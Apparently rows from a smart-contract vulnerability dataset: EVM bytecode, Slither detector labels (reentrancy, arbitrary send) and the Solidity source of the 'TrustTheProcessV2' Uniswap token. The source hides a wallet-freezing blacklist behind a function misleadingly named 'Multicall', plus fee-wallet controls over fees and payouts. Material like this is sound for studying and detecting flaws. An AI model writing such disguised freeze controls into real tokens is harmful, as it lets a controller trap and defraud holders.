17f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212c5760145481111561207e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212b57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122455750601360179054906101000a900460ff165b156122dd5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229557600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e830610c18565b9050601360159054906101000a900460ff161580156123555750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236d5750601360169054906101000a900460ff165b156123955761237b81612699565b60004790506000811115612393576123924761251a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244857600090505b61245484848484612a53565b50505050565b6000838311158290612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cc5780820151818401526020810190506124b1565b50505050905090810190601f1680156124f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256a600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612595573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e6600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612611573d6000803e3d6000fd5b5050565b6000600a54821115612672576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7b602a913960400191505060405180910390fd5b600061267c612caa565b90506126918184612a0990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126ce57600080fd5b506040519080825280602002602001820160405280156126fd5781602001602082028036833780820191505090505b509050308160008151811061270e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b057600080fd5b505afa1580156127c4573d6000803e3d6000fd5b505050506040513d60208110156127da57600080fd5b8101908080519060200190929190505050816001815181106127f857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a04565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612923578082015181840152602081019050612908565b505050509050019650505050505050600060405180830381600087803b15801561294c57600080fd5b505af1158015612960573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129965760009050612a03565b60008284029050828482816129a757fe5b04146129fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec76021913960400191505060405180910390fd5b809150505b92915050565b6000612a4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd5565b905092915050565b80612a6157612a60612d9b565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b045750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1957612b14848484612dde565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd157612bcc84848461303e565b612c95565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c735750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8857612c8384848461329e565b612c94565b612c93848484613593565b5b5b5b80612ca457612ca361375e565b5b50505050565b6000806000612cb7613772565b91509150612cce8183612a0990919063ffffffff16565b9250505090565b60008083118290612d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d46578082015181840152602081019050612d2b565b50505050905090810190601f168015612d735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8d57fe5b049050809150509392505050565b6000600c54148015612daf57506000600d54145b15612db957612ddc565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df087613a1f565b955095509550955095509550612e4e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc481613b59565b612fce8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305087613a1f565b9550955095509550955095506130ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322481613b59565b61322e8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b087613a1f565b95509550955095509550955061330e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351981613b59565b6135238483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a587613a1f565b95509550955095509550955061360386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e481613b59565b6136ee8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d4578260026000600984815481106137ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613893575081600360006009848154811061382b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b157600a54683635c9adc5dea0000094509450505050613a1b565b61393a60026000600984815481106138c557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8790919063ffffffff16565b92506139c5600360006009848154811061395057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8790919063ffffffff16565b9150808060010191505061378d565b506139f3683635c9adc5dea00000600a54612a0990919063ffffffff16565b821015613a1257600a54683635c9adc5dea00000935093505050613a1b565b81819350935050505b9091565b6000806000806000806000806000613a3c8a600c54600d54613d38565b9250925092506000613a4c612caa565b90506000806000613a5f8e878787613dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613ac983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245a565b905092915050565b600080828401905083811015613b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b63612caa565b90506000613b7a828461298390919063ffffffff16565b9050613bce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cf957613cb583600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1382600a54613a8790919063ffffffff16565b600a81905550613d2e81600b54613ad190919063ffffffff16565b600b819055505050565b600080600080613d646064613d56888a61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613d8e6064613d80888b61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613db782613da9858c613a8790919063ffffffff16565b613a8790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de7858961298390919063ffffffff16565b90506000613dfe868961298390919063ffffffff16565b90506000613e15878961298390919063ffffffff16565b90506000613e3e82613e308587613a8790919063ffffffff16565b613a8790919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e48e657a6f981737555e6d20039f5c11ee88096ec07c7bf66cfc7f6d9152fea264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,985 |
0x0628301b374b5d2f0188926ca53054e02efd7c18
|
/**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
/**
TrustTheProcessV2
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TheTheProcessV2 is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"TrustTheProcessV2"; ////
string public constant symbol = unicode"TrustTheProcessV2"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 8;
uint public _sellFee = 8;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105cd578063db92dbb6146105e2578063dcb0e0ad146105f7578063dd62ed3e14610617578063e8078d941461065d57600080fd5b806395d89b411461023d578063a9059cbb14610582578063b2131f7d146105a2578063c3c8cd80146105b857600080fd5b806370a08231116100e757806370a08231146104ef578063715018a61461050f5780637a49cddb146105245780638da5cb5b1461054457806394b8d8f21461056257600080fd5b806349bd5a5e1461048457806350901617146104a4578063590f897e146104c45780636fc3eaec146104da57600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103bd5780633bbac579146103f55780633bed43551461042e57806340b9a54b1461044e57806345596e2e1461046457600080fd5b806327f3a72a1461034b578063313ce5671461036057806331c2d8471461038757806332d873d8146103a757600080fd5b80630b78f9c0116101d75780630b78f9c0146102d957806318160ddd146102f95780631940d0201461031557806323b872dd1461032b57600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610287578063095ea7b3146102a957600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b5061027a604051806040016040528060118152602001702a393ab9ba2a3432a83937b1b2b9b9ab1960791b81525081565b6040516102349190611bf7565b34801561029357600080fd5b506102a76102a2366004611c71565b610672565b005b3480156102b557600080fd5b506102c96102c4366004611c8e565b6106e7565b6040519015158152602001610234565b3480156102e557600080fd5b506102a76102f4366004611cba565b6106fd565b34801561030557600080fd5b50683635c9adc5dea0000061022a565b34801561032157600080fd5b5061022a600f5481565b34801561033757600080fd5b506102c9610346366004611cdc565b610780565b34801561035757600080fd5b5061022a610868565b34801561036c57600080fd5b50610375600981565b60405160ff9091168152602001610234565b34801561039357600080fd5b506102a76103a2366004611d33565b610878565b3480156103b357600080fd5b5061022a60105481565b3480156103c957600080fd5b506009546103dd906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b34801561040157600080fd5b506102c9610410366004611c71565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043a57600080fd5b506008546103dd906001600160a01b031681565b34801561045a57600080fd5b5061022a600b5481565b34801561047057600080fd5b506102a761047f366004611df8565b610904565b34801561049057600080fd5b50600a546103dd906001600160a01b031681565b3480156104b057600080fd5b506102a76104bf366004611c71565b6109c8565b3480156104d057600080fd5b5061022a600c5481565b3480156104e657600080fd5b506102a7610a36565b3480156104fb57600080fd5b5061022a61050a366004611c71565b610a63565b34801561051b57600080fd5b506102a7610a7e565b34801561053057600080fd5b506102a761053f366004611d33565b610af2565b34801561055057600080fd5b506000546001600160a01b03166103dd565b34801561056e57600080fd5b506011546102c99062010000900460ff1681565b34801561058e57600080fd5b506102c961059d366004611c8e565b610c01565b3480156105ae57600080fd5b5061022a600d5481565b3480156105c457600080fd5b506102a7610c0e565b3480156105d957600080fd5b506102a7610c44565b3480156105ee57600080fd5b5061022a610ce8565b34801561060357600080fd5b506102a7610612366004611e1f565b610d00565b34801561062357600080fd5b5061022a610632366004611e3c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561066957600080fd5b506102a7610d7d565b6008546001600160a01b0316336001600160a01b03161461069257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106f43384846110c4565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461071d57600080fd5b600a82111561072b57600080fd5b600a81111561073957600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107ae57506001600160a01b03831660009081526004602052604090205460ff16155b80156107c75750600a546001600160a01b038581169116145b15610816576001600160a01b03831632146108165760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108218484846111e8565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610850908490611e8b565b905061085d8533836110c4565b506001949350505050565b600061087330610a63565b905090565b6008546001600160a01b0316336001600160a01b03161461089857600080fd5b60005b8151811015610900576000600660008484815181106108bc576108bc611ea2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f881611eb8565b91505061089b565b5050565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161080d90611ed1565b6008546001600160a01b0316336001600160a01b03161461094e57600080fd5b600081116109935760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161080d565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106dc565b6009546001600160a01b0316336001600160a01b0316146109e857600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106dc565b6008546001600160a01b0316336001600160a01b031614610a5657600080fd5b47610a6081611856565b50565b6001600160a01b031660009081526002602052604090205490565b60